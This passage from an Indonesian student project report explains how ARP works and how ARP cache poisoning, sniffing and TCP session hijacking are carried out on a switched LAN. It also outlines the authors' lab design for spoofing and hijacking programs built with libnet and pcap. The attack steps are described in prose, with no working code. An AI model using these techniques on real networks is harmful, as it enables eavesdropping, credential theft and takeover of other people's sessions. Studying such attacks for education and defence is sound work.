transmisikan secara transparan dan jelas sehingga membuat attacker
dengan mudah untuk memodifikasi asal data ataupun tujuan dari data.
11

ARP Spoofing merupakan sebuah teknik yang paling efektif


untuk menangkap, mendengarkan dan membajak koneksi antar
komputer dalam jaringan [8]. ARP Spoofing ini sering didentikkkan
banyak orang dengan MAC Spoofing yaitu merubah alamat hardware
(MAC Address) dari sebuah interface jaringan yang sudah diberikan oleh
pabrik pembuatnya, padahal yang disebut dengan ARP Spoofing
bukanlah demikian.
Penyerangan dengan teknik ARP spoofing akan membuat paket
ARP request dan ARP reply yang palsu. Ketika suatu sistem operasi
dalam jaringan lokal melakukan update terhadap ARP cache yang
dimiliki, sebuah host yang bertindak sebagai penyerang (man in the
middle) akan mengirimkan ARP reply yang palsu, sehingga ARP Cache
(dalam hal ini adalah pemetaan alamat IP terhadap alamat MAC) dari
sistem target akan berubah.

2.3 ARP (Address Resolution Protocol)

Address resolution merupakan proses pencarian alamat MAC


(Media Access Control) komputer dalam sebuah jaringan secara
dinamis. ARP merupakan protokol yang melakukan pemetaan antara dua
format alamat yang berbeda yaitu 32-bit alamat Internet Protocol (IP)
dan 48-bit alamat MAC yang digunakan pada layer 2 (data link layer).
Pada dasarnya ARP menerjemahkan IP address ke MAC address [2].
Sebuah komputer yang terhubung dengan jaringan memiliki dua
alamat yaitu alamat Ethernet dan alamat IP. Yang pertama adalah
alamat dari kartu jaringan (NIC) biasa disebut dengan alamat MAC.
Menurut teori, alamat MAC yang terdapat pada sebuah NIC tidak ada
yang sama (unique) dan tidak dapat dirubah. Alamat MAC sangat
dibutuhkan, sehingga protokol Ethernet dapat mengirim dan
mengembalikan data tanpa melihat protokol apa yang digunakan
diatasnya. Ethernet membuat data berupa frame dalam berkomunikasi.
Setiap frame mempunyai header Ethernet, yang berisi alamat MAC dari
komputer sumber dan komputer tujuan.
Alamat yang kedua adalah alamat IP (Internet Protocol). IP
adalah protokol yang dipakai pada aplikasi. Setiap komputer pada
jaringan harus mempunyai IP yang berbeda (unique) untuk
berkomunikasi. Alamat IP diberikan oleh perangkat lunak (sistem
operasi). Protocol ARP menggabungkan antara dua alamat ini. Ketika
sebuah komputer melakukan pengiriman paket ke sebuah alamat IP
dalam sebuah jaringan yang sama, host ini menyebarkan pesan berisi
12

Apakah kamu memiliki alamat IP x.x.x.x? Jika benar, kirim alamat


MAC kamu ke saya. [5].

Gambar 2.1 ARP Request [7]

Gambar 2.2 ARP Reply [7]

2.3.1 Contoh Cara Kerja ARP

Contoh berikut ini akan menunjukkan bagaimana ARP bekerja pada


sebuah jaringan lokal (LAN / Local Area Network) [9].
Ketika user menjalankan perintah berikut ini
% ftp linux.com
Langkah-langkah yang dijalankan oleh sistem adalah sebagai berikut:
13

1. Host yang menjalankan perintah (FTP client) memanggil fungsi


gethostbyname() untuk mencari 32-bit alamat IP dari host
linux.com. Domain Name System (DNS) yang akan melakukan
konversi tersebut.
2. Kemudian Transport Control Protocol (TCP) kemudian
menyambungkan sebuah koneksi dengan 32-bit alamat IP tersebut.
3. Sebuah IP datagram akan dikirimkan ke alamat IP host yang
menyediakan FTP untuk melakukan permintaan koneksi.
4. IP datagram tersebut dapat langsung dikirim ke alamat IP tujuan
jika dalam satu jaringan (LAN). Jika tidak dalam satu LAN, maka
yang akan meneruskan paket adalah router.
5. Pada level Ethernet, sebuah host tidak hanya harus mengetahui
alamat IP, tetapi juga 48-bit alamat Ethernet. Hal ini digunakan
untuk melakukan pemetaan 32-bit alamat IP ke 48-bit alamat
Ethernet. Pemetaan ini adalah fungsi dasar dari sebuah ARP.
6. Sebuah frame Ethernet yang dikirimkan secara broadcast ke sebuah
LAN dinamakan ARP request (permintaan ARP). Permintaan ARP
ini berisi alamat IP dari host tujuan.
7. Setiap host pada satu jaringan akan mendapatkan ARP request ini
dan host yang mempunyai alamat IP tersebut, akan mengirimkan
balasan ARP (ARP Reply). ARP Reply ini berisi 32-bit alamat IP
dan 48-bit alamat Ethernet yang dimiliki oleh host linux.com.
8. Host yang menerima ARP Reply tersebut siap untuk mengirimkan
IP datagram.
9. Kemudian paket tersebut siap untuk dikirimkan ke tujuan.

2.3.2 Struktur ARP

Ethernet Ethernet Frame Hard Prot Hard Prot op Sender Sender Target Target
dest source type type type size size Ethernet IP Ethernet IP
address address address address address address
6 6 2 2 2 1 1 2 6 4 6 4
Table 2.1 Format message ARP dan ukuran (byte) [9]

Ethernet destination address, Ethernet source address dan Frame


type menjelaskan header yang memiliki panjang 14 byte yang diberi
nama Ether_header (Ethernet header). Ethernet header ini mempunyai
nilai frame type 0x0806.
Lima field data berikutnya merupakan arphdr yang berfungsi
untuk menentukan tipe dari ARP request atau ARP reply. Hard type
memiliki nilai 1 yang menandakan bahwa format dari alamat hardware.
14

Prot type memiliki nilai 0x0800 yang menandakan format dari alamat
protokol yang akan dipetakan. Hard size merupakan ukuran dari alamat
hardware yaitu 6 byte. Prot size memiliki nilai 4 byte yang merupakan
panjang dari alamat protokol IP. Sedangkan field op menandakan
operasi ARP atau RARP yang memiliki masing-masing nilai 1 jika itu
adalah ARP request, 2 jika ARP reply, 3 jika RARP request dan 4 jika
RARP reply.
Sedangkan field-field selanjutnya yaitu Sender Ethernet address
yaitu alamat hardware dari pengirim yang memiliki panjang 6 byte.
Sender IP address memiliki panjang 4 byte yang menunjukkan alamat
IP dari pengirim. Target Ethernet address yaitu alamat hardware dari
tujuan. Target IP address menunjukkan alamat IP dari tujuan frame.

2.4 ARP Cache Pada Sistem Operasi

Setiap host yang terhubung dalam jaringan ketika berkomunikasi


dengan host lain akan menyimpan pemetaan antara 32-bit alamat IP
dengan 48-bit alamat Ethernet. Berikut ini adalah proses sebuah
penyimpanan ARP [4]:
1. Mengirimkan sebuah ARP
a. Host yang akan melihat ARP cache yang dimilikinya apakah
mempunyai alamat hardware dari host tujuan
b. Jika alamat hardware tersebut tidak ditemukan, host tersebut akan
mengirimkan ARP request untuk memperoleh alamat hardware
dari alamat IP yang dituju
c. Untuk menghindari banyaknya ARP dalam sebuah LAN, host
pengirim hanya mengirimkan sebuah permintaan ARP ke setiap
host dalam sebuah LAN setiap waktu tertentu
d. Jika host tujuan berhasil menerima permintaan ARP tersebut,
host tersebut akan mengirimkan sebuah ARP reply langsung ke
host yang meminta yang berisi alamat IP dengan alamat Ethernet.
Kemudian ARP cache masing-masing host akan diupdate.
2. Menerima ARP
a. Host memeriksa pengirim sudah ada dalam ARP cache atau
belum, jika ada maka akan diupdate tabel ARP
b. Jika host pengirim membutuhkan alamat hardware, ARP cache
juga akan diupdate
c. Mengirimkan ARP reply jika pengirim membutuhkannya
d. Mengirimkan informasi kesalahan jika terjadi:
Sebuah alamat IP mempunyai alamat hardware yang berbeda
15

IP yang mengirimkan ARP request sama dengan IP yang akan


mengirim reply
3. Manajemen ARP
Untuk menghindari pengiriman ARP request unutk setiap paket yang
perlu dikirimkan, setiap host memiliki ARP Cache yaitu sebuah tabel
yang menyimpan data setiap host yang telah saling berkomunikasi.
Isi informasi dari sebuah tabel ARP cache tersebut adalah:
Alamat Ethernet
Lama waktu dari ARP yang terakhir
ARP tersebut ditambahkan secara manual atau otomatis
Interface yang melakukan komunikasi
Solusi untuk membuat manajemen jaringan yang lebih baik:
1. Pemetaan alamat ditambahkan jika menerima sebuah ARP dari
host lain, alamat pengirim secara otomatis akan ditambahkan
pada ARP cache
2. Isi dari ARP cache yang tidak ada atau tidak melakukan
komunikasi akan terhapus secara otomatis untuk menghindari
pembengkakan tabel ARP
3. Isi dari tabel ARP dapat ditambahkan secara manual dan akan
tetap ada ketika host dinyalakan kembali
4. Isi dari tabel ARP dapat dihapus secara manual.

2.5 Sniffing

Sniffing merupakan sebuah usaha untuk menganalisa trafik


jaringan dengan mengambil informasi yang berjalan pada sebuah
jaringan. Sniffing pada dasarnya adalah teknik untuk mengintersepsi
data. Teknik ini bisa digolongkan dalam kategori yang tidak merugikan
jika dilakukan untuk menganalisa kesalahan dalam sebuah jaringan.
Namun bisa juga dikategorikan dalam aktifitas yang merugikan jika
digunakan untuk mendapatkan password atau data-data penting yang
lainnya.
Hal ini terjadi karena teknologi jaringan dibuat berdasarkan pada
pembagian antar sesama. Kebanyakan jaringan menggunakan teknologi
broadcast, dimana pesan atau data untuk satu host dapat dibaca oleh host
yang lain pada jaringan tersebut. Seharusnya, semua host yang bukan
tujuan dari pesan atau data tidak akan menerima data tersebut. Namun,
host yang lain dapat dibuat agar bisa menerima data meskipun data
tersebut tidak diperuntukkan host tersebut [10].
16

Sebuah komputer yang terhubung ke jaringan lokal mempunyai


dua alamat. Pertama adalah alamat MAC (Media Access Control) yang
terdapat pada setiap kartu jaringan dan memiliki nilai yang tidak sama
satu dengan yang lainnya. Alamat ini digunakan oleh protokol Ethernet
pada saat membuat frame untuk mengirimkan data antar host. Alamat
yang lainnya adalah alamat IP, dimana alamat ini biasa digunakan oleh
pada level aplikasi.
Layer data link menggunakan header Ethernet dengan alamat
MAC sebagai alamat host tujuan. Layer diatasnya yaitu layer network
bertugas untuk memetakan alamat IP dengan alamat MAC yang
dibutuhkan oleh Protokol dari Data Link. Informasi ini akan disimpan
apada sebuah table yang dinamakan dengan ARP cache. Jika tidak
ditemukan alamat IP yang diinginkan, ARP akan mengirimkan ARP
request ke jaringan. Kemudian host yang memiliki alamat tersebut akan
memberikan alamat MAC yang diminta. Alamat MAC ini akan
ditambahkan pada ARP Cache host asal. Kemudian setiap komunikasi
antar host tersebut akan menggunakan alamat MAC.

2.5.1 Sniffing pada jaringan yang menggunakan Hub

Jaringan yang menggunkan hub sering juga disebut dengan


Shared Ethernet. Pada jaringan ini, semua host terkoneksi pada satu
jalur dan menggunakan bandwidth yang dibagi berdasarkan banyaknya
host yang terhubung. Pada jaringan ini, paket yang ditujukan untuk satu
host dapat diterima oleh semua host pada jaringan tersebut.
Misalnya, host Venus (Comp 1) ingin berkomunikasi dengan
Cupid (Comp 2). Pada jaringan ini, paket akan dikirimkan pada jaringan
dengan alamat MAC Cupid sebagai alamat MAC tujuan dengan alamat
MAC asal adalah alamat MAC Venus. Semua host yang ada dalam satu
jaringan ini (Comp 3 dan Comp 4) akan membandingkan frame tujuan
dari data dengan alamat MAC yang dimiliki masing-masing host. Jika
tidak sesuai dengan alamat MAC yang dimiliki, frame tersebut tidak
akan diterima.
Sniffing di jaringan yang menggunakan hub ini mudah untuk
dilakukan. Dengan cara mengaktifkan promiscous mode dari kartu
jaringan pada program sniffer yang digunakan, sniffing dapat terjadi.
17

Gambar 2.3 Jaringan menggunakan Hub [10]

Paket dari Comp 1 yang ditujukan untuk Comp 2 dapat diterima


oleh kedua host yang lainnya (Comp 3 dan Comp 4). Tetapi pada
keadaan yang normal, kedua host tersebut menolak paket yang bukan
ditujukan untuk alamat MAC miliknya. Tetapi jika kedua komputer ini
dalam keadaan promiscuous mode, dua komputer ini dapat
menangkap komunikasi antara Comp 1 dan Comp 2.

2.5.2 Sniffing pada jaringan yang menggunakan Switch

Jaringan yang menggunakan switch sebagai media sharingnya


sering disebut juga dengan Switched Ethernet. Switch dapat menyimpan
tabel yang berisi pemetaan port fisik dari switch dengan alamat MAC
setiap host. Switch merupakan peralatan yang cerdas sehingga dapat
mengirimkan paket ke host yang dituju saja dan tidak dikirimkan ke
semua host (broadcast) pada jaringan seperti yang terjadi pada kasus
jaringan sebelumnya. Bandwidth yang dihasilkan lebih baik dan
peningkatan keamanan dapat dirasakan oleh pengguna jaringan ini.
Walaupun dengan cara mengaktifkan promiscuous mode dari kartu
jaringan, paket yang tidak ditujukan untuknya tidak akan dapat dibaca.
18

Gambar 2.4 Jaringan menggunakan Switch [10]

Pada sebuah jaringan yang menggunakan switch, paket dari


Comp 1 untuk Comp 2 tidak akan diterima oleh host lain yang
terhubung dalam jaringan ini. Meskipun dua komputer yang lainnya
(Comp 3 dan Comp 4) dalam keadaan promiscuous mode, kedua host
ini tidak akan bisa melihat traffic antara Comp 1 dan Comp 2.
Namun jaringan dengan menggunakan switch tidak lebih aman
daripada jaringan yang menggunakan hub. Dengan melakukan ARP
spoofing, sniffing dapat dilakukan pada sebuah jaringan yang
menggunakan switch. Teknik sniffing di switch ini dilakukan dengan
cara menjadi penengah antara dua host yang saling berkomunikasi.

2.6 ARP Cache Poisoning

ARP Spoofing [8] merupakan metode untuk mengeksploitasi


interaksi dari IP dan protokol Ethernet. Sebuah serangan man-in-the-
middle merupakan salah satu jenisnya. Dengan melakukan ARP
Spoofing yang menggunakan metode ARP Cache Poisoning, sebuah
serangan ini dapat dilakukan, seorang hacker menyisipkan komputernya
diantara komunikasi dua buah komputer. Komputer hacker tersebut akan
mengantarkan frame dari komunikasi yang dilakukan dua komputer
target. Serangan tersebut terjadi seperti pada contoh berikut (dimana X
bertindak sebagai komputer penyerang dan A dan B sebagai komputer
target):
X mengganti ARP cache dari A dan B.
19

A memetakan IP dari B dengan alamat MAC dari X.


B memetakan IP dari A dengan alamat MAC dari X.
Semua jalur komunikasi antara A dan B akan melalui X terlebih
dahulu.

Gambar 2.5 Proses ARP Cache Poisoning

Dari gambar tersebut dapat dijelaskan, host A akan


berkomunikasi dengan host B. Host A akan mengirimkan ARP Request
ke alamat IP dari host B untuk mendapatkan alamat MAC host B.
Karena host X (attacker) ingin mengetahui perintah apa saja yang
dijalankan oleh client ataupun yang diterima serta mengetahui apa saja
yang terjadi pada komunikasi dua host tersebut, host X akan melakukan
ARP Spoofing terhadap dua host yang melakukan komunikasi. Host A
dan host B tidak akan mengetahui bahwa alamat MAC yang diterima
dari ARP Reply yang diperoleh adalah alamat MAC dari host X.
Sehingga ketika dua host tersebut saling berkomunikasi, data-data yang
dikirimkan oleh host A ke host B atau host B ke host A akan melewati
host X.
Tidak hanya host yang dapat diganti tabel ARP yang dimiliki,
namun router atau gateway juga bisa dirubah tabel ARPnya. Semua
komunikasi internet suatu host dapat disergap dengan cara sebagai MiM
antara komputer target dan router pada jaringan lokal tersebut.
Cara yang lain dari sniffing terhadap jaringan adalah dengan
melakukan MAC flooding. Dengan mengirimkan paket tertentu ke
20

switch secara terus-menerus, port dari switch atau tabel MAC pada
switch menjadi tidak terkendali (overflow). Hasilnya pada beberapa
merek, switch akan menjadi seperti hub yang menyebarkan secara
broadcast paket pada jaringan tersebut.

2.7 Session Hijacking

Session Hijacking [12] dibagi menjadi dua tipe, yaitu active


session hijacking dan passive session hijacking.

2.7.1 Active Session Hijacking

Pada serangan ini, attacker mengambil alih sebuah session yang


terjadi dengan cara memutuskan sebuah komunikasi yang terjadi.
Attacker bertindak sebagai man-in-the-middle dan aktif dalam
komunikasi antara client dengan server. Serangan ini membutuhkan
keahlian untuk menebak nomer sequence (SEQ) dari server, sebelum
client dapat merespon server. Pada saat ini, nomer sequence yang dibuat
oleh setiap sistem operasi berbeda-beda. Cara yang lama adalah dengan
menambahkan nilai konstan untuk nomer sequence selanjutnya.
Sedangkan mekanisme yang baru adalah dengan membuat nilai acak
untuk membuat nilai awal dari nomer sequence ini.
Ketika sebuah komputer client melakukan koneksi terhadap
komputer server, attacker menyisipkan komputernya di antara dua
koneksi tersebut. Ada empat proses untuk melakukan active session
hijacking, antara lain:
1. Tracking the connection (mencari koneksi yang sedang terjadi)
Attacker akan mencari target, yaitu client dan server yang akan
melakukan komunikasi. Attacker menggunakan sniffer untuk
mencari target atau dengan mengidentifikasi host yang diinginkan
dengan menggunakan scanning tool seperti nmap. Sebelum
mengetahui siapa yang akan melakukan komunikasi dan pada port
berapa komunikasi tersebut berjalan, attacker harus melakukan ARP
Spoofing terhadap dua host yang saling berkomunikasi.
Cara ini dilakukan agar attacker dapat melihat komunikasi yang
terjadi, kemudian dapat mengetahui nomer sequence (SEQ) dan
acknowledgement (ACK) yang diperlukan. Nomer ini digunakan
oleh attacker untuk memasukkan paket diantara dua komunikasi.
2. Desynchronizing the connection (Melakukan pembelokan koneksi)
21

Langkah ini dilakukan ketika sebuah koneksi sudah terjadi antara


client dan server yang tidak sedang mengirimkan data. Dalam
keadaan ini, nomer sequence (SEQ) dari server tidak sama dengan
nomer sequence (SEQ) dari client yang melakukan komunikasi.
Begitu juga sebaliknya, nomer nomer sequence (SEQ) dari client
tidak sama dengan nomer sequence (SEQ) dari server.
Untuk melakukan desynchronisasi koneksi antara client dan
server, nomer SEQ atau ACK dari server harus dirubah. Hal ini dapat
dilakukan, jika dikirimkan data kosong (null data) ke server.
Sehingga nomer SEQ atau ACK dari server akan berubah, sedangkan
nomer SEQ atau ACK dari client yang melakukan komunikasi
dengan server tidak berubah atau terjadi penambahan.
3. Resetting Connection (Membuat koneksi baru)
Setelah melakukan desynchronisasi, attacker mengirimkan
sebuah reset flag ke server. Hal ini dilakukan untuk membuat
koneksi baru dengan nomer sequence yang berbeda. Komunikasi
antara client dengan server yang terjadi sebelumnya akan terputus.
4. Injecting Packet (Memasukkan paket)
Pada langkah ini, attacker dapat melakukan interupsi terhadap
komunikasi antara client dan server, sehingga attacker dapat
memasukkan paket lain pada koneksi tersebut.

2.7.2 Passive Session Hijacking

Serangan pembajakan session yang dilakukan secara pasif dapat


dilakukan menggunakan sniffer. Alat ini dapat memberikan seorang
attacker informasi berupa id user dan password dari client yang sedang
melakukan login ke server. ID user dan password ini dapat digunakan
oleh attacker untuk melakukan login pada lain waktu.
Sniffing password merupakan contoh serangan yang dapat
dilakukan ketika attacker memperoleh akses pada suatu jaringan.
22

Halaman ini sengaja dikosongkan!!!


BAB III
PERENCANAAN DAN PEMBUATAN

Pada bab ini akan dijelaskan tentang perancangan pembuatan


program untuk melakukan ARP Spoofing pada sebuah jaringan lokal
(Local Area Network / LAN) yang menggunakan switch.

3.1 Desain dan Topologi Jaringan

Berikut ini adalah gambar dari desain jaringan yang akan


digunakan pada proyek akhir ini untuk menganalisa sebuah serangan
ARP Spoofing dalam sebuah Local Area Network (LAN).

Gambar 3.1 Desain Jaringan

Pada desain jaringan di atas, semua komputer terhubung dalam


sebuah jaringan lokal pada subnet 10.252.108.0/24. Semua host tersebut
menggunakan protokol IPv4. Di sisi attacker dengan IP 10.252.108.34,
sistem operasi yang digunakan adalah Linux Debian dengan kernel 2.6.
Sedangkan dua host yang lain, yaitu host client dan host server, sistem
operasi yang diuji adalah Microsoft Windows dan Linux.
Sistem operasi dari host server memiliki aplikasi telnet dan ftp
server yang untuk selanjutnya dapat diakses oleh host client dalam satu

23
24

jaringan lokal tersebut, dimana pada desain kali ini adalah host client
dengan alamat IP 10.252.108.232 yang akan melakukan telnet atau ftp
ke host server tersebut.

3.2 Teknik ARP Spoofing

ARP Spoofing merupakan metode untuk mengeksploitasi


interaksi dari IP dan protokol Ethernet. Sebuah serangan man-in-the-
middle merupakan salah satu jenisnya. Dengan melakukan ARP
Spoofing yang menggunakan metode ARP Cache Poisoning, sebuah
serangan ini dapat dilakukan, seorang hacker menyisipkan komputernya
diantara komunikasi dua buah komputer. Komputer hacker tersebut akan
mengantarkan frame dari komunikasi yang dilakukan dua komputer
target. Serangan tersebut terjadi seperti pada contoh berikut:
Attacker mengganti ARP cache dari host client dan host server.
Host client memetakan IP dari host server dengan alamat MAC dari
host Attacker.
Host server memetakan IP dari host client dengan alamat MAC dari
host Attacker.
Semua jalur komunikasi antara host client dan host server akan
melalui host Attacker terlebih dahulu.

Di bawah ini adalah ilustrasi gambar dari proses ARP Spoofing


dengan metode ARP Cache Poisoning. Ketika host A akan
berkomunikasi dengan host B. Host A akan mengirimkan ARP Request
ke alamat IP dari host B untuk mendapatkan alamat MAC host B.
Karena host X (attacker) ingin mengetahui perintah apa saja yang
dijalankan oleh client ataupun yang diterima serta mengetahui apa saja
yang terjadi pada komunikasi dua host tersebut, host X akan melakukan
ARP Spoofing terhadap dua host yang melakukan komunikasi. Host A
dan host B tidak akan mengetahui bahwa alamat MAC yang diterima
dari ARP Reply yang diperoleh adalah alamat MAC dari host X.
Sehingga ketika dua host tersebut saling berkomunikasi, data-data yang
dikirimkan oleh host A ke host B atau host B ke host A akan melewati
host X.
25

Gambar 3.2 Proses ARP Spoofing

Isi ARP yang dikirimkan adalah paket frame ethernet dengan


memanipulasi nilai source ethernet address dari paket ARP.

Ethernet Ethernet Frame Hard Prot Hard Prot op Sender Sender Target Target
dest source type type type size size Ethernet IP Ethernet IP
address address address address address address

Source Ethernet
Address diganti

Gambar 3.3 Paket ARP Spoofing

Tidak hanya host yang dapat diganti tabel ARP yang dimiliki,
namun router atau gateway juga bisa. Semua komunikasi internet suatu
host dapat disergap dengan cara sebagai menjadi MiM antara komputer
target dan router pada jaringan lokal tersebut.
26

3.3 Perancangan Program

Program yang dibuat pada proyek akhir ini adalah program ARP
Spoofing yang menggunakan metode ARP Cache Poisoning dan
program session hijacking.

3.3.1 Perancangan Program ARP Cache Poisoning

Sebuah host dalam jaringan, ketika berkomunikasi dengan host


lain membutuhkan alamat Ethernet dari lawan komunikasinya. Karena
pada dasarnya komunikasi antar host pada sebuah jaringan lokal, alamat
yang digunakan adalah alamat MAC (Media Access Control) dan tidak
menggunakan alamat IP.
Misalnya host A akan berkomunikasi dengan host B yang berada
dalam sebuah jaringan, host A akan mencari alamat MAC dari host B
pada tabel ARP yang dimilikinya. Jika alamat MAC yang dicari, tidak
ada dalam ARP Cache (tabel ARP) host A, host A tersebut akan
mengirimkan ARP request secara broadcast (ditujukan untuk setiap host
pada satu jaringan). Host yang memiliki alamat MAC yang dimaksud,
akan mengirimkan ARP Reply untuk host yang meminta alamat MAC
tersebut (tidak untuk host yang lainnya) dan menambahkan data alamat
IP serta alamat MAC dari host A ke ARP Cache milik host B. Setelah
proses ini, host A juga akan menambahkan pemetaan alamat IP dengan
alamat MAC dari host B ke dalam ARP Cache miliknya. Kemudian
komunikasi dapat dilakukan antara dua host tersebut dengan
menggunakan alamat MAC masing-masing host.
Semua proses untuk melakukan komunikasi tersebut, ternyata
mempunyai kelemahan. Kebanyakan sistem operasi selalu mengupdate
ARP Cache yang dimiliki ketika memperoleh paket ARP Reply. Dengan
mengirimkan ARP Reply palsu yang dilakukan host lain (attacker) yang
berada dalam satu jaringan dengan dua host tersebut, komunikasi antara
host A dan host B akan melalui host attacker. Setelah sebuah
komunikasi antara host A dan host B dapat disadap oleh attacker,
attacker akan melihat apa saja perintah yang dijalankan oleh oleh host A
terhadap host B.
27

Gambar 3.4 Flowchart ARP Spoofing


28

3.3.2 TCP Hijacking

Selain dapat menyadap komunikasi yang terjadi antara dua host,


attacker juga dapat masuk ke server untuk mengambil alih session yang
sedang aktif (session hijacking). Attacker mengambil nilai sequence
yang dikirimkan oleh host client untuk host server atau host target
session yang sedang terjadi. Setelah didapatkan nomer sequence dan
nomer acknowledgement dari host client, attacker dapat mengirimkan
perintah ke host server dengan menggunakan nilai sequence dan nilai
acknoewledgement yang didapatkan dari host client.
Host server akan menganggap komunikasi tersebut adalah
komunikasi dari host client. Sehingga apa saja yang diperintahkan oleh
attacker akan dijalankan oleh host server Namun pada saat keadaan ini,
host client tidak akan dapat mengirimkan perintah apapun ke host
server. Hal ini terjadi karena nilai sequence dan nilai acknowledge yang
dibuat pada awal komunikasi antara host server dengan host client
sampai nilai yang terakhir telah diambil alih oleh attacker dengan
mengirimkan nilai flags yang memaksa host server mempercayai host
Attacker sebagai pemilik session (koneksi).
Sebuah host yang bertindak sebagai attacker (penyerang),
biasanya melakukan serangan selanjutnya. Serangan yang dilakukan
adalah sniffing atau session hijacking (memasuki sebuah koneksi yang
sudah tersambung).

Gambar 3.5 Ilustrasi proses TCP Hijacking

Sebuah proses TCP hijacking memanfaatkan pembacaan nomer


sequence dan nomer acknowledgement yang akan dikirimkan oleh host
client ke host server. Host attacker sebagai MiM akan mengirimkan
nomer sequence dan nomer acknowledge yang terbaca pada saat host
client mengirimkan suatu data ke host server. Oleh host attacker nilai
yang dikirimkan tersebut ditambahkan nilai bit kontrolnya dengan nilai
PUSH, sehingga untuk koneksi selanjutnya host server akan mempercayai
host attacker sebagai host yang telah melakukan koneksi dengan host
29

server. Pada kondisi ini host client tidak akan dapat menjalankan
komunikasi dengan host server. Pada saat ini koneksi secara penuh akan
dilakukan oleh host attacker. Bahkan untuk memutus koneksi, yang
memegang kendali adalah host attacker.

Gambar 3.6 Urutan proses TCP Hijacking

Pada urutan proses di atas, sebuah TCP hijacking dimulai dengan


melakukan arp spoofing. Sebelumnya, attacker mencari host-host yang
hidup. Dari hasil scanning terhadap host yang hidup, attacker tersebut
untuk kemudian melakukan spoofing terhadap dua host yang saling
berkomunikasi.
Setelah masuk ke dalam komunikasi tersebut, attacker melihat
koneksi apa yang terjadi. Sebuah komunikasi antara host asal ke host
30

tujuan dihubungkan dengan nomer port. Dengan mengetahui nomer port


yang digunakan oleh host asal dan host tujuan, attacker memasuki
komunikasi antara dua host yang saling berkomunikasi.
Tujuan dari mengetahui nomor port antara dua host yang saling
berkomunikasi adalah untuk mengambil nomer sequence dan nomer
acknowledge dari host server yang akan mengirimkan data ke host
client. Dengan mengetahui nomer tersebut, attacker dapat melihat
perintah apa saja yang dikirimkan oleh host client terhadap host server.
Attacker juga dapat memutuskan sambungan dari host server ke host
client, untuk kemudian attacker dapat menginjeksi perintah ke server.
Pada program ini perlu menggunakan pemrograman API libnet
dan pcap. Library libnet digunakan versi 1.0.2 serta library pcap versi
0.9.4. Fungsi-fungsi dari library libnet.h dan pcap.h yang akan dipakai:
Fungsi Kegunaan
u_long Fungsi untuk mencari alamat IP
libnet_name_resolve(u_char
*hostname, u_short use_name);
dari nama host yang dimasukkan.
Nilai dari use_name adalah 1. Nilai
kembalian yang dihasilkan adalah
alamat IPv4 (yaitu gabungan antara
nilai desimal dan titik, misalnya
10.252.108.1).
Struct ether_addr Fungsi untuk mendapatkan alamat
*libnet_get_hwaddr(struct
libnet_link_int *l, const
MAC dari pointer *l yang dibuka
u_char *device, const u_char dari kartu jaringan (*device) yang
*buf); aktif. Nilai kembalian yang
dihasilkan adalah alamat MAC
dengan panjang 8 oktet, jika tidak
ditemukan memiliki nilai 0.
u_long Fungsi untuk memperoleh alamat IP
libnet_get_ipaddr(struct
libnet_link_int *l, const
dari kartu jaringan yang aktif. Nilai
u_char *device, const u_char kembalian yang dihasilkan adalah
*buf); alamat IP yang memiliki panjang 32
bit dalam bentuk desimal.
u_char Fungsi untuk mencari nama host
*libnet_host_lookup(u_long in,
u_short use_name);
dari alamat IP yang dimasukkan.
Argumen yang dimasukkan adalah
alamat IP dan nilai 1 untuk mencari
nama host. Jika tidak ditemukan
nama hostnya, nilai yang
dikembalikan adalah alamat IP.
31

int Fungsi untuk membuat paket


libnet_build_ethernet(u_char
*daddr, u_char *saddr, u_short
Ethernet. Argumennya berisi alamat
id, const u_char *payload, int MAC host tujuan, alamat MAC host
payload_s, u_char *buf); asal, type frame ethernet, pointer
dari data yang akan dikirimkan,
panjang data yang dikirimkan, dan
pointer dari buffer untuk menangani
error.
int libnet_build_arp(u_short Fungsi untuk membuat paket ARP.
hrd, u_short pro, u_short hln,
u_short pln, u_short op,
Argumen yang dibutuhkan adalah
u_char *sha, u_char *spa, type alamat hardware, type alamat
u_char *tha, u_char *tpa, protokol, panjang alamat hardware,
const u_char *payload, int panjang alamat protokol, type paket
payload_s, u_char *buf);
ARP, alamat hardware pengirim,
alamat IP pengirim, alamat
hardware host tujuan, alamat IP
host tujuan, isi paket data, ukuran
data, dan pointer buffer memori.
Nilai awal dari fungsi ini harus diisi
ARPHRD_ETHER. Jenis paket
ARP antara lain:
ARPOP_REQUEST,
ARPOP_REPLY,
ARPOP_REVREQUEST,
ARPOP_REVREPLY,
ARPOP_INVREQUEST, atau
ARPOP_INVREPLY.
int Fungsi untuk menuliskan ke layer
libnet_write_link_layer(struct
libnet_link_int *l, const
data link. Argumen yang
u_char *device, u_char *buf, dibutuhkan antara lain isi dari
int len); pointer *l, pointer dari nilai kartu
jaringan, paket yang dikirimkan dan
yang terakhir adalah ukuran dari
paket. Nilai kembalian yang
dihasilkan adalah jumlah byte yang
dikirimkan atau -1 jika terjadi error.
int libnet_init_packet(size_t Fungsi untuk menginisialisasi paket
p_size, u_char **buf);
yang akan digunakan. Argumen
yang dibutuhkan adalah ukuran dari
paket dan buffer untuk menampung
32

paket yang diinisialisasi. Jika


berhasil, nilai kembalian yang
dihasilkan adalah 1 dan ruang
memori untuk *buf akan dibuat dan
kalau tidak berhasil, maka nilai
kembaliannya -1. Setelah memori
buffer tidak digunakan, perlu
dilakukan pemanggilan fungsi
libnet_destroy_packet().
int libnet_open_raw_sock(int Fungsi untuk membuka socket raw
protocol);
protokol IPv4. Nilai kembalian
yang dihasilkan adalah nilai hasil
inisialisasi socket atau -1 jika
terjadi error.
int libnet_build_ip(u_short Fungsi untuk membuat paket IP
len, u_char tos, u_short id,
u_short frag, u_char ttl,
yang berisi panjang paket (tidak
u_char prot, u_long saddr, termasuk header IP), bit dari tos, id
u_long daddr, const u_char dari IP, fragmentasi flag, paket
*payload, int payload_s, TTL, protokol yang digunakan
u_char *buf);
(UDP/TCP), alamat IP host asal,
alamat IP host tujuan, nilai data
yang dikirimkan, panjang data yang
dikirimkan, alokasi memori untuk
buffer dari paket yang dikirim.
int libnet_build_tcp(u_short Fungsi untuk membuat paket TCP.
sport, u_short dport, u_long
seq, u_long ack, u_char
Parameter yang dibutuhkan adalah
control, u_short win, u_short port sumber, port tujuan, nomer
urg, const u_char *payload, sequence, nomer acknowledge, bit
int payload_s, u_char *buf); kontrol (flags), ukuran data
(payload), pointer untuk data
penting (urgent), pointer untuk data
payload, ukuran dari data payload
dan buffer untuk memori paket
yang digunakan.
int libnet_do_checksum(u_char Fungsi untuk melakukan check dari
*buf, int protocol, int len);
paket data yang dikirimkan. Berisi
parameter antara lain memori buffer
yang dialokasikan untuk paket,
protokol transport yang digunakan
dan panjang dari paket tersebut
